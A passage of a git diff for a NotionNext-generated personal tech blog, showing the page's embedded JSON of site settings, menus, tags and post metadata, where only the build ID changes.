50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}]},"__N_SSG":true},"page":"/category","query":{},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}]},"__N_SSG":true},"page":"/category","query":{},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git "a/category/\345\277\203\346\203\205\351\232\217\347\254\224.html" "b/category/\345\277\203\346\203\205\351\232\217\347\254\224.html"
index 476427226..0773ca1b1 100644
--- "a/category/\345\277\203\346\203\205\351\232\217\347\254\224.html"
+++ "b/category/\345\277\203\346\203\205\351\232\217\347\254\224.html"
@@ -1,8 +1,8 @@
